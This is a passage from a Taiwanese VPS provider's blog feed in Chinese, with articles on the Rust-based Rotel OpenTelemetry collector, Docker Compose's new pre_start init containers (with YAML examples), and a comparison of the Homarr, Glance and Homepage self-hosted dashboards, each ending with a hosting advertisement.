的場景</strong>。tail sampling 需要 collector 把同一條 trace 的所有 spans 累積起來再決定要不要留，這是 stateful operation，Rotel 目前沒有。head-based sampling 在 SDK 那端做就行，但流量削減的靈活度差很多。</p><p><strong>要跟現有 otelcol config 平滑 migration 的場景</strong>。如果團隊已經有一份維護三年、經過調校的 otelcol YAML，含 20 個 processor stage，切 Rotel 等於重寫。這個工程成本要跟省下的資源成本算清楚。</p><h2 id="benchmark-數字背後的細節"><a href="#benchmark-數字背後的細節" class="headerlink" title="benchmark 數字背後的細節"></a>benchmark 數字背後的細節</h2><p>3.7M spans&#x2F;sec 這個數字容易被斷章取義，需要把 benchmark 條件講清楚才有意義。ClickHouse 官方跑的是 edge collector → Kafka → gateway collector → ClickHouse 的 streaming pipeline，gateway 端量 span 進出速率，測試機是 16 core 的 EC2 instance，ClickHouse table 用 Null engine 只驗吞吐不寫 disk。單看 gateway 這一段，Rotel 462K spans&#x2F;sec&#x2F;core、otelcol 137K spans&#x2F;sec&#x2F;core，差距接近 3.4 倍。</p><p>換算成一個典型的 VPS 場景比較貼近多數人的處境：4 vCPU 的機器，Rotel 大約能穩定收 1.5M spans&#x2F;sec，otelcol 大概 500K spans&#x2F;sec，兩者記憶體常駐值 Rotel 約 150MB、otelcol 約 550MB。這個 gap 在流量突刺時特別明顯——otelcol 在 GC 週期會出現 200ms 級的 pause，Rotel 因為沒有 GC，尾巴 latency 幾乎是平的一條線。</p><p>對 Kubernetes DaemonSet 場景更關鍵。每台 node 都要跑一顆 collector 收 local telemetry，otelcol 佔的 500MB 記憶體會直接吃掉 Pod resource quota；100 台 node 的 cluster 就是 50GB 記憶體憑空消失。換 Rotel 之後這個數字降到 15GB，多出來的 35GB 能拿去多跑一批 workload。</p><h2 id="值不值得切過去"><a href="#值不值得切過去" class="headerlink" title="值不值得切過去"></a>值不值得切過去</h2><p>判斷標準其實很簡單：如果 collector 現在吃 300MB 以上記憶體、CPU 常態超過 50%、或者已經開始為 collector fleet 開額外 replica，Rotel 的收益能直接反映在帳單上。ClickHouse 團隊算過，2M logs&#x2F;sec 的採集規模，otelcol 需要 800 顆 CPU core，換成 Rotel 大約 200 顆能撐——省下的成本遠比重寫 pipeline 的工程時間貴。</p><p>如果 collector 只是收幾千 spans&#x2F;sec、跑一台 2 core 的 VPS，otelcol 的資源開銷根本不痛，切過去沒意義，反而失去 contrib processors 的生態。</p><p>臺灣本地想在單機 VPS 上跑一整套 OpenTelemetry stack（collector + ClickHouse + Grafana）的團隊，Rotel 值得評估。臺灣機房到自架 ClickHouse 的 RTT 通常在 5ms 以內，Rotel 的 batch 機制搭配 gRPC 壓縮基本上能把 network overhead 壓到可以忽略；剩下的就是 collector 本身的 CPU 開銷，這裡 Rust 的優勢會直接反映在 VPS 選型上——原本要 4 vCPU 才跑得動的 telemetry pipeline，2 vCPU 就綽綽有餘。</p><p>要跑 self-hosted 的 OpenTelemetry pipeline，主機資源永遠是第一個瓶頸。NCSE Network 提供臺灣是方電訊機房的 Intel Gold CPU、NVMe SSD VPS，適合放 collector、ClickHouse、Grafana 這類需要穩定 IO 與低延遲網路的觀測性 stack；有興趣可以到 <a href="https://ncse.tw/">ncse.tw</a> 看方案細節。</p>]]>
    </content>
    <id>https://blog.ncse.tw/rotel-rust-opentelemetry-collector-otelcol-clickhouse-alternative/</id>
    <link href="https://blog.ncse.tw/rotel-rust-opentelemetry-collector-otelcol-clickhouse-alternative/"/>
    <published>2026-08-26T15:37:36.000Z</published>
    <summary>Rotel 是 Streamfold 用 Rust 從零實作的 OpenTelemetry collector，同樣講 OTLP、同樣寫 ClickHouse，記憶體用量少 75%、單機吞吐量拉到 3.7M spans/sec。文章拆解三個關鍵優化、實際部署方式，以及不該切過去的場景。</summary>
    <title>Rotel 用 Rust 把 OpenTelemetry Collector 記憶體壓掉 75%：單核吞吐量從 137K 拉到 462K spans/sec，otelcol 的 GC 與 allocator lock 是這樣繞過的</title>
    <updated>2026-09-10T01:13:30.521Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="VPS" scheme="https://blog.ncse.tw/tags/VPS/"/>
    <category term="自架服務" scheme="https://blog.ncse.tw/tags/%E8%87%AA%E6%9E%B6%E6%9C%8D%E5%8B%99/"/>
    <category term="Docker" scheme="https://blog.ncse.tw/tags/Docker/"/>
    <category term="Docker Compose" scheme="https://blog.ncse.tw/tags/Docker-Compose/"/>
    <category term="init container" scheme="https://blog.ncse.tw/tags/init-container/"/>
    <category term="資料庫遷移" scheme="https://blog.ncse.tw/tags/%E8%B3%87%E6%96%99%E5%BA%AB%E9%81%B7%E7%A7%BB/"/>
    <content>
      <![CDATA[<p>Docker Compose 使用者要在應用程式啟動前跑一次資料庫遷移、把掛載卷的擁有者改成非 root 使用者、或先生成一份設定檔，過去十年幾乎只有一條路可以走——寫一個獨立的 service，用 <code>depends_on</code> 加 <code>condition: service_completed_successfully</code> 綁定它跟主服務的順序。這條路徑能動，但每個用過的人都知道 <code>docker compose ps</code> 會多出一堆已經跑完退出的殭屍條目、重啟服務時得記得手動 <code>--force-recreate</code>、多段串起來的初始化步驟只能靠 depends_on 一路接下去。2026 年 7 月釋出的 Docker Compose v5.3.0 加了 <code>pre_start</code> 生命週期，這件事才正式從 Kubernetes 那邊的 init container 觀念補齊到 Compose 這邊。</p><h2 id="service-completed-successfully-從來不是為這個場景設計的"><a href="#service-completed-successfully-從來不是為這個場景設計的" class="headerlink" title="service_completed_successfully 從來不是為這個場景設計的"></a>service_completed_successfully 從來不是為這個場景設計的</h2><p><code>depends_on</code> 加 condition 這個組合是 Compose v2 為了取代舊版 v1 的簡單依序啟動加進來的，本意是描述服務之間的健康狀態依賴。<code>service_healthy</code> 讓後端等資料庫的 healthcheck 通過再啟動，這個場景合理；但把一次性的遷移工作包成一個「service」，只為了跑完退出然後被 <code>service_completed_successfully</code> 觀察到，本質上是在把一次性任務硬套到長期服務的抽象上。</p><p>副作用實務上會冒出來的幾個：<code>docker compose ps</code> 每次都會看到 <code>migrate  Exit 0</code> 這種殭屍條目佔位；<code>docker compose down</code> 之後再 up，那個 migrate service 會照著 pull image 分配網路建立容器再退出，跑一輪就得等它，即使遷移根本已經做過；改設定檔重啟主服務時，如果沒下 <code>--force-recreate</code>，那個 migrate 不會被重建也不會重跑，變成該跑的時候沒跑；要串連續三個初始化步驟——先建 schema、再灌 seed data、再建索引——就得寫三個 service，兩個 depends_on 鏈，維護起來很難看。</p><p>有些團隊為了避免這些副作用，改用 shell script 在主服務啟動前跑遷移，塞進 entrypoint。這條路把應用程式的映像檔跟資料庫工具的責任綁在一起，違背單一容器單一責任的原則；重跑一次遷移還得整個 restart 主服務，殺傷力更大。</p><h2 id="pre-start-把-init-從-peer-變成-subordinate"><a href="#pre-start-把-init-從-peer-變成-subordinate" class="headerlink" title="pre_start 把 init 從 peer 變成 subordinate"></a>pre_start 把 init 從 peer 變成 subordinate</h2><p>Compose v5.3 的 <code>pre_start</code> 用一個很直接的模型解掉這件事——它是主服務的一個子步驟，不是獨立 service。宣告寫在服務底下：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">app:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">myapp:latest</span></span><br><span class="line">    <span class="attr">depends_on:</span></span><br><span class="line">      <span class="attr">db:</span></span><br><span class="line">        <span class="attr">condition:</span> <span class="string">service_healthy</span></span><br><span class="line">    <span class="attr">pre_start:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">command:</span> [<span class="string">&quot;./manage.py&quot;</span>, <span class="string">&quot;migrate&quot;</span>]</span><br><span class="line">      <span class="bullet">-</span> <span class="attr">command:</span> [<span class="string">&quot;./manage.py&quot;</span>, <span class="string">&quot;loaddata&quot;</span>, <span class="string">&quot;fixtures.json&quot;</span>]</span><br><span class="line">      <span class="bullet">-</span> <span class="attr">command:</span> [<span class="string">&quot;./manage.py&quot;</span>, <span class="string">&quot;collectstatic&quot;</span>, <span class="string">&quot;--noinput&quot;</span>]</span><br></pre></td></tr></table></figure><p>三個步驟會依序在獨立的臨時容器裡跑，每一個要 exit 0 才會進到下一個，任何一個非零退出整個服務啟動就中止。三個容器預設繼承 <code>app</code> 的映像檔、進到 <code>app</code> 定義的網路、看得到 <code>depends_on</code> 裡的 <code>db</code>、共用 <code>app</code> 掛載的 volume。跑完之後容器被回收，<code>docker compose ps</code> 只會看到 <code>app</code> 一個條目，看起來就跟一般啟動一樣乾淨。</p><p>Compose 也記得每個步驟上次跑的定義跟結果——只要指令沒變、上次成功、沒下 <code>--force-recreate</code>，第二次 <code>docker compose up</code> 就會跳過。這件事對日常維運差別很大：主服務改個環境變數重啟一次，遷移不會重跑；改了遷移指令或加了新步驟才會重跑；上次跑失敗的一定會重跑一次。這套語意跟大多數團隊心裡「什麼時候該跑 migration」的直覺對得起來。</p><h2 id="掛載卷擁有者修正這個場景差別最明顯"><a href="#掛載卷擁有者修正這個場景差別最明顯" class="headerlink" title="掛載卷擁有者修正這個場景差別最明顯"></a>掛載卷擁有者修正這個場景差別最明顯</h2><p>自架 PostgreSQL、MinIO、Grafana、Prometheus 這些服務在 Docker 底下常見的第一個坑，就是主機上 bind mount 的目錄擁有者是 root，容器裡的服務用 non-root 使用者啟動，直接吃 permission denied。過去的標準做法是寫一個 init service 掛同一個 volume，執行 <code>chown -R 1000:1000 /data</code> 之後退出：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">init-perms:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">alpine</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./grafana-data:/data</span></span><br><span class="line">    <span class="attr">command:</span> <span class="string">chown</span> <span class="string">-R</span> <span class="number">472</span><span class="string">:472</span> <span class="string">/data</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">&quot;no&quot;</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">grafana:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">grafana/grafana:latest</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./grafana-data:/data</span></span><br><span class="line">    <span class="attr">depends_on:</span></span><br><span class="line">      <span class="attr">init-perms:</span></span><br><span class="line">        <span class="attr">condition:</span> <span class="string">service_completed_successfully</span></span><br></pre></td></tr></table></figure><p>用 <code>pre_start</code> 改寫是這樣：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">grafana:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">grafana/grafana:latest</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./grafana-data:/data</span></span><br><span class="line">    <span class="attr">pre_start:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">alpine</span></span><br><span class="line">        <span class="attr">command:</span> [<span class="string">&quot;chown&quot;</span>, <span class="string">&quot;-R&quot;</span>, <span class="string">&quot;472:472&quot;</span>, <span class="string">&quot;/data&quot;</span>]</span><br></pre></td></tr></table></figure><p>差別在於 init container 現在明確跟 <code>grafana</code> 的 volume 共享——同一份 <code>./grafana-data:/data</code> 定義只寫一次，chown 完之後 grafana 拿到的就是同一顆卷。不用 depends_on、不用另一個 service 條目、也沒有殭屍容器占位。要在 grafana 底下多加一個「若設定檔不存在就複製一份預設」的步驟，直接在 pre_start 陣列多加一項就好。</p><h2 id="生命週期上有幾件事要先想清楚"><a href="#生命週期上有幾件事要先想清楚" class="headerlink" title="生命週期上有幾件事要先想清楚"></a>生命週期上有幾件事要先想清楚</h2><p><code>pre_start</code> 的容器是在服務容器被 create 之後、start 之前執行的。這個順序很關鍵——服務容器已經拿到 IP、掛好 volume，只是 process 還沒起來。init container 跟服務容器共用網路命名空間、共用 volume mount，改動立刻生效。實務上這代表 init container 修改的檔案、寫入的資料，服務容器啟動時就看得到。</p><p>但幾件事要注意。Init container 跑一次就是一次，不會為每個 replica 分別跑。用 <code>deploy.replicas: 3</code> 開三個 web 副本，<code>pre_start</code> 只跑一次；服務 scale up 加副本時，<code>pre_start</code> 也不會為新副本再跑。這件事對純粹的 stateless web 服務沒差，但如果 init 做的是每個副本各自需要的初始化——例如寫個 per-replica 的暫存目錄——就不適用。官方文件明確標記 <code>per_replica: true</code> 選項目前還不支援，只能自己想辦法。</p><p>另一個是它跟 <code>configs</code> 跟 <code>secrets</code> 的分工。想把一份靜態 config 塞進容器不該用 <code>pre_start</code> 寫 script，Compose 原生的 <code>configs</code> 定義做這件事更乾淨；想動態產生一份取決於環境的 config，<code>pre_start</code> 才有用武之地。同理，寫死的密碼字串塞進 secrets 就好，不用 pre_start 去 curl Vault 拿——那應該是主服務自己 startup 的責任。</p><p>還有 <code>post_start</code> 跟 <code>pre_stop</code> 這兩個 hook。它們跟 <code>pre_start</code> 名字很像但機制完全不同——<code>post_start</code> 跟 <code>pre_stop</code> 在既有的服務容器裡執行指令，不會另外開容器；<code>pre_start</code> 是獨立的臨時容器。要在服務啟動後跑一個 warm-up 請求，用 <code>post_start</code>；要在服務關閉前 flush buffer，用 <code>pre_stop</code>；要在服務啟動前跑遷移，用 <code>pre_start</code>。</p><h2 id="版本相容跟部署路徑"><a href="#版本相容跟部署路徑" class="headerlink" title="版本相容跟部署路徑"></a>版本相容跟部署路徑</h2><p><code>pre_start</code> 只在 Docker Compose v5.3.0 之後可用。臺灣多數 VPS 上跑的 Debian 12 或 Ubuntu 22.04 預設倉庫還在 Compose v2 舊分支，直接 apt 裝的版本不會有這個欄位。實務上要能用，兩條路：從 Docker 官方 apt 倉庫裝新版 <code>docker-compose-plugin</code>，或者用 Docker Desktop 的內建版本（開發機才適用）。VPS 上比較穩的做法是把 Docker Engine 跟 Compose plugin 都盯著官方 apt 倉庫升級，順帶避開發行版倉庫落後 6 到 12 個月的節奏差。</p><p>寫在 compose 檔裡的 <code>pre_start</code> 對舊版是硬性 breaking——舊版 parser 遇到不認識的欄位會 warn 或直接錯誤退出，取決於版本。這件事對團隊裡有人用舊版本的情境要注意，最好把 <code>docker compose version</code> 加進 CI 檢查跟部署 script。</p><p>有些人可能會想乾脆等到 Docker Swarm 或 Kubernetes 也支援類似欄位再統一。目前狀況是 Swarm 已經事實停止大規模開發，Kubernetes 的 initContainer 語意跟 Compose 的 <code>pre_start</code> 相近但不完全一樣（K8s 的 initContainer 每個 Pod 各跑一次，Compose 的 pre_start 是 service 層級）。想從 Compose 遷移到 K8s 的團隊，pre_start 概念上是可以直接對應過去的，只是要意識到 replica 語意的差異。</p><h2 id="什麼時候該換、什麼時候先不用"><a href="#什麼時候該換、什麼時候先不用" class="headerlink" title="什麼時候該換、什麼時候先不用"></a>什麼時候該換、什麼時候先不用</h2><p>該換的情境很直接：<code>docker compose ps</code> 列表被殭屍 init service 塞滿的部署、有多段初始化步驟串成 depends_on 鏈的 compose 檔、chown 或 chmod init 用得很頻繁的服務、資料庫遷移或 seed data 常常忘記 <code>--force-recreate</code> 導致跑掉的環境。這些場景改寫成 <code>pre_start</code> 之後，compose 檔會短很多，維運心智負擔會小很多。</p><p>先不用換的情境：Compose 版本鎖在舊版沒辦法升的老專案、init 需要在多副本間各跑一次的少數場景、init 步驟本身複雜到需要獨立日誌跟監控（那應該是個 real service，不是 init）。另外目前 <code>pre_start</code> 的權限跟 volume 定義不能覆寫服務本身的設定——例如想在 init 用 root 跑但主服務用 non-root，或想在 init 掛一顆額外的 volume——這些限制在 GitHub issue #13934 有討論但還沒有解，遇到就得暫時繼續用舊做法。</p><p>單機 VPS 上跑 Docker Compose 是很多小型自架服務的預設配置，這種環境每一個 compose 檔的複雜度都會直接反映在維運成本上。<code>pre_start</code> 這個看似小的欄位真正的價值不在於功能新——<code>service_completed_successfully</code> 本來就做得到大部分事——而在於它把「這是一次性的初始化」這個意圖用型別化的語法明確表達出來，<code>docker compose ps</code> 的輸出更乾淨、上線 script 更好寫、六個月後回頭看 compose 檔也讀得懂。</p><p>要跑得穩、跑得動，最底層還是要有一臺不掉線的 VPS。NCSE Network 提供臺灣是方電訊機房的 VPS 服務，Intel Gold CPU 加 NVMe SSD，適合跑長時間的 Docker Compose 部署跟自架服務。有興趣可以到 <a href="https://ncse.tw/">ncse.tw</a> 了解方案細節。</p>]]>
    </content>
    <id>https://blog.ncse.tw/docker-compose-v5-3-pre-start-init-containers-migration-permission-fix/</id>
    <link href="https://blog.ncse.tw/docker-compose-v5-3-pre-start-init-containers-migration-permission-fix/"/>
    <published>2026-08-25T06:00:00.000Z</published>
    <summary>Docker Compose v5.3.0 於 2026 年 7 月加入 pre_start 生命週期，把 init container 從跟 Kubernetes 的差距補齊。這篇拆解 service_completed_successfully 這條老路徑實際會踩到的坑、pre_start 的容器生命週期、共用 volume 的行為，以及在單機 VPS 部署上什麼場景該換、什麼場景還不能換。</summary>
    <title>用 depends_on service_completed_successfully 假裝 init container 撐了十年：Docker Compose v5.3 的 pre_start 才把資料庫遷移跟權限修正這件事做對</title>
    <updated>2026-09-10T01:13:30.515Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="Self-hosted" scheme="https://blog.ncse.tw/tags/Self-hosted/"/>
    <category term="Homarr" scheme="https://blog.ncse.tw/tags/Homarr/"/>
    <category term="Glance" scheme="https://blog.ncse.tw/tags/Glance/"/>
    <category term="Homepage" scheme="https://blog.ncse.tw/tags/Homepage/"/>
    <category term="Dashboard" scheme="https://blog.ncse.tw/tags/Dashboard/"/>
    <category term="Homelab" scheme="https://blog.ncse.tw/tags/Homelab/"/>
    <content>
      <![CDATA[<p>Self-hosted dashboard 這個類別過去五年一直有一個共同前提——用 YAML 檔案宣告要顯示什麼服務、什麼 widget，重啟或 hot-reload 一下就生效。Homepage、Dashy、Heimdall 都走這條路。到了 2026 年這個共識裂了。Homarr 花一年多把整套架構重寫成 1.0，把 YAML 徹底拔掉、換成瀏覽器裡的 drag-and-drop 編輯器；Glance 反過來把 YAML 極簡路線推到極致，整個 dashboard 塞進一支 20MB 的 Go binary；Homepage 的釋出節奏則從 2024 年之後開始明顯放慢。三種哲學同時存在，選錯代價從「介面難看」到「整組配置搬不動」都有可能。</p><p>這篇拆解 Homarr、Glance、Homepage 在 2026 年的實際定位，以及在自架 VPS 部署一個 self-hosted dashboard 時該怎麼決定。</p><h2 id="Homarr-1-0-rewrite-把整套-dashboard-搬進瀏覽器"><a href="#Homarr-1-0-rewrite-把整套-dashboard-搬進瀏覽器" class="headerlink" title="Homarr 1.0 rewrite 把整套 dashboard 搬進瀏覽器"></a>Homarr 1.0 rewrite 把整套 dashboard 搬進瀏覽器</h2><p>Homarr 從 0.x 到 1.0 的變化不是加功能而是砍地基。舊版跟其他 YAML dashboard 沒有本質區別——手改 config、reload 生效、Git 管版本。1.0 之後這條路整條被拔掉，取而代之的是後端跑 tRPC + WebSocket + Redis 的即時資料層、前端把 board 做成可以拖拉、resize、直接編輯的 canvas。加一個新 widget 不再是編 YAML 而是點右鍵開選單、拖到位置、填 URL 跟 API token。</p><p>這個決定換來三件事。第一是即時性——所有 widget 靠 WebSocket 推更新，Sonarr 抓到新集、qBittorrent 下載完、Docker 容器重啟這類事件會直接在 tile 上動起來，不用等下一次 polling。第二是 integration 深度大幅拉高，2026 年 7 到 8 月的釋出節奏裡把 Beszel 的即時 stats、TrueNAS 的容量報告、Home Assistant、What’s Up Docker、Traefik、Bazarr、PatchMon、Navidrome、Synology health 一個個接上，現在 100+ 服務都是「認得出來、能顯示狀態、能點按鈕操作」而不是只放個圖示連過去。第三是內建認證跟權限管理——BCrypt 加 AES-256-CBC 存 secret、支援 OIDC credential linking、可以做 apps management 的細粒度限制，反向代理前面不用再多包一層 auth 服務。</p><p>代價是這套架構完全不 IaC-friendly。Board 的配置存在資料庫裡，備份要備 Postgres 或 SQLite 快照，Git 版本控制那條路走不了。同時 1.x 這條線的釋出節奏是週更——v1.69 到 v1.76 這八個小版本壓在七、八月裡，功能持續進、breaking change 也偶爾夾在裡面。想要「裝好就三年不動」的體驗，這套目前給不了。</p><h2 id="Glance-反方向走到極端，一支-Go-binary-收所有-feed"><a href="#Glance-反方向走到極端，一支-Go-binary-收所有-feed" class="headerlink" title="Glance 反方向走到極端，一支 Go binary 收所有 feed"></a>Glance 反方向走到極端，一支 Go binary 收所有 feed</h2><p>Glance 是這輪最有辨識度的一家。整個 dashboard 是一支不到 20MB 的 Go binary，跑起來吃十幾 MB 記憶體，只認一個 glance.yml 設定檔。它不去接 Sonarr 或 Docker 的 API，也不做 uptime monitoring，把火力集中在一個問題上——把散在網路上的資訊 feed 收成一頁。</p><p>支援的 widget 反映了這個定位：RSS、Hacker News、subreddit、YouTube 頻道更新、Twitch 直播狀態、天氣、股票、Docker 容器列表、伺服器基本 stats、行事曆。這些東西在 Homepage 或 Homarr 上要嘛沒有要嘛是二等公民，在 Glance 上是核心。v0.8 加了 custom-api widget，能對任何 JSON endpoint 抓資料再用 Go template 渲染成自訂 tile，這條路把「自架 dashboard 顯示什麼」的邊界完全推開，社群 marketplace 上現在有從加密貨幣 gas fee 到自家 Grafana metric 到 Notion 資料庫的模板可以直接抄。</p><p>它的 YAML 用得很兇——nested config includes、Docker secrets、多頁 tab、per-widget 樣式覆寫都靠改設定檔。這種取捨的直接後果是配置可以整份放 Git 管、跨機器 rsync 就能搬、CI 上 lint 一下就知道有沒有錯。但真的要接一個 self-hosted 服務的活資料就要自己寫 custom-api 或 script 中間層，這一段 Homarr 是內建的。</p><p>Glance v0.8.0 也開始有 username&#x2F;password 認證跟 theme 熱切換，過去那個「有 URL 的人都能看」的階段結束了，但整體還是傾向「一個人或小團體用的儀表板」而不是 Homarr 那種「多用戶多權限的入口網站」。</p><h2 id="Homepage-停在-YAML-陣營頂端但節奏放慢"><a href="#Homepage-停在-YAML-陣營頂端但節奏放慢" class="headerlink" title="Homepage 停在 YAML 陣營頂端但節奏放慢"></a>Homepage 停在 YAML 陣營頂端但節奏放慢</h2><p>Homepage 是 YAML 陣營裡最完整的老牌選手，一直到 2024 年底都是 self-hosted 圈預設推薦。100+ 服務 widget 的目錄現在還是最大宗，Docker service discovery 能自動抓到跑起來的容器並顯示對應 tile，配置檔用多個 YAML 分開（services、bookmarks、widgets、settings）架構清楚。裝起來吃 60 MB 上下記憶體，比 Homarr 輕不少。</p><p>問題是 2025 到 2026 年上半的釋出節奏明顯放緩，PR 有在合但缺少 Homarr 那種週更的推進速度。原本一直在補上新 service 的 widget，這一年新增的量比 Homarr 少一大截。技術棧本身沒問題，但生態動能開始往 Homarr 這邊移。</p><p>現在選 Homepage 的合理理由剩下兩個：Docker service discovery 對懶得手動列服務的人是唯一能自動偵測的選擇；100+ service widget 的既有目錄仍然涵蓋大部分自架服務。這兩點如果不在意，往下走 Glance 更輕、往上走 Homarr 功能更深。</p><h2 id="三種部署情境的實際分野"><a href="#三種部署情境的實際分野" class="headerlink" title="三種部署情境的實際分野"></a>三種部署情境的實際分野</h2><p>Dashboard 這個類別的選擇比它看起來重要——它是每天開瀏覽器第一個看的頁面，重寫配置的成本比想像中高。</p><p>想把 dashboard 當 IaC 的一部分、配置整份放 Git、CI 檢查一下就 deploy 到多臺機器：Glance 是最俐落的選擇。單支 binary、YAML 全部搞定、備份 rsync 一個檔案就完事。適合以個人為單位管理 3 到 5 臺 VPS 的自架者，資訊焦點在 RSS&#x2F;HN&#x2F;監控 feed 而不是 Sonarr&#x2F;Radarr 這類 arr stack 的直接控制。</p><p>十幾個服務要接進 dashboard、有一整支 arr stack 要監控、team 內有非 CLI 派同事要用網頁改東西：Homarr 1.x 是目前唯一能同時打滿這三點的選項。權衡的是要接受它的資料庫存放模式、放棄 Git 版本控制的舒適圈、週更節奏偶爾踩到 breaking change。</p><p>介於中間、想要 Docker service discovery 自動化又不打算搬到 Homarr 那種重量級架構：Homepage 還是可以用，但要有心理準備專案動能已經沒在往上走。</p><p>以自架 VPS 的部署情境來說，這三個都是 Docker 一支起來就能用的規模，資源需求都在單核 512MB RAM 以內能塞。差別完全在配置模型跟 integration 深度，不在效能。</p><h2 id="部署時容易踩到的細節"><a href="#部署時容易踩到的細節" class="headerlink" title="部署時容易踩到的細節"></a>部署時容易踩到的細節</h2><p>三套跑起來都不困難，但幾個實際部署會撞到的問題值得先講。</p><p>Homarr 1.x 的 database migration 在小版本間有時候是自動、有時候要手動跑，升級前該備份 volume。反向代理前面要接 WebSocket，Caddy 跟 Traefik 預設就會處理，Nginx 要多加 <code>proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection &quot;upgrade&quot;;</code>。secret 存在資料庫但用 AES-256-CBC 加密，資料庫檔案本身建議還是加密卷或 encrypted backup 帶著。</p><p>Glance 的 custom-api widget 是強項也是坑點，Go template 語法遇到複雜 JSON 結構的解析錯誤訊息不太友善，第一次寫建議直接抄社群範本改。跨網域的 API 呼叫在瀏覽器端會踩 CORS，官方文件建議走 proxy 模式讓 Glance server 端去呼叫再轉發，不要試著讓瀏覽器直接打第三方 API。</p><p>Homepage 的 Docker service discovery 需要把 Docker socket 掛進 container，這是安全邊界問題。要嘛用 socket proxy（推薦 tecnativa&#x2F;docker-socket-proxy 這類唯讀限制的 proxy），要嘛接受 dashboard 容器實質上等於 privileged。純家用 VPS 直接掛 socket 通常可接受，多租戶或有其他人能操作 host 的環境就一定要 proxy。</p><h2 id="結論與服務推薦"><a href="#結論與服務推薦" class="headerlink" title="結論與服務推薦"></a>結論與服務推薦</h2><p>Self-hosted dashboard 在 2026 年不再是「隨便挑一個」的類別。Homarr 1.0 rewrite 把 UI-driven 跟 real-time integration 這條路走到底，Glance 把 YAML 極簡跟 feed-first 推到極端，Homepage 停在中間但動能減弱。選哪一個由「配置模型偏好」跟「要接的服務類型」兩個維度共同決定，跟部署規模的關係反而不大。</p><p>NCSE Network 提供臺灣是方電訊機房的 VPS 主機，Intel Gold CPU 加 NVMe SSD，是自架這類 dashboard 服務的合適平臺——低延遲的臺灣機房讓 WebSocket 連線在 Homarr 的即時更新體驗上不打折扣，Docker socket 掛載跟反向代理配置也都是標準流程。歡迎到 <a href="https://ncse.tw/">https://ncse.tw</a> 進一步了解服務內容。</p>]]>
    </content>
    <id>https://blog.ncse.tw/homarr-1-rewrite-glance-yaml-self-hosted-dashboard-2026/</id>
    <link href="https://blog.ncse.tw/homarr-1-rewrite-glance-yaml-self-hosted-dashboard-2026/"/>
    <published>2026-08-24T02:00:00.000Z</published>
    <summary>Homarr 1.76 每週一版把 100+ integration 塞進瀏覽器拖拉介面、Glance 用單支 Go binary 把 RSS 跟 HN 收成一頁、Homepage 節奏放緩到 YAML 陣營只剩它一家獨大。本文拆解三個 self-hosted dashboard 在 2026 的定位差異，以及自架 VPS 部署時該怎麼選。</summary>
    <title>Homarr 1.0 用 tRPC + WebSocket 重寫成 drag-and-drop、Glance 撐 20MB Go binary 死守 YAML 極簡路線：2026 self-hosted dashboard 三種路線該選誰</title>
    <updated>2026-09-10T01:13:30.517Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="自架服務" scheme="https://blog.ncse.tw/tags/%E8%87%AA%E6%9E%B6%E6%9C%8D%E5%8B%99/"/>
    <category term="DevOps" scheme="https://blog.ncse.tw/tags/DevOps/"/>
    <category term="資訊安全" scheme="https://blog.ncse.tw/tags/%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8/"/>
    <category term="CI/CD" scheme="https://blog.ncse.tw/tags/CI-CD/"/>
    <category term="GitHub Actions" scheme="https://blog.ncse.tw/tags/GitHub-Actions/"/>
    <category term="Zizmor" scheme="https://blog.ncse.tw/tags/Zizmor/"/>
    <category term="供應鏈安全" scheme="https://blog.ncse.tw/tags/%E4%BE%9B%E6%87%89%E9%8F%88%E5%AE%89%E5%85%A8/"/>
    <content>
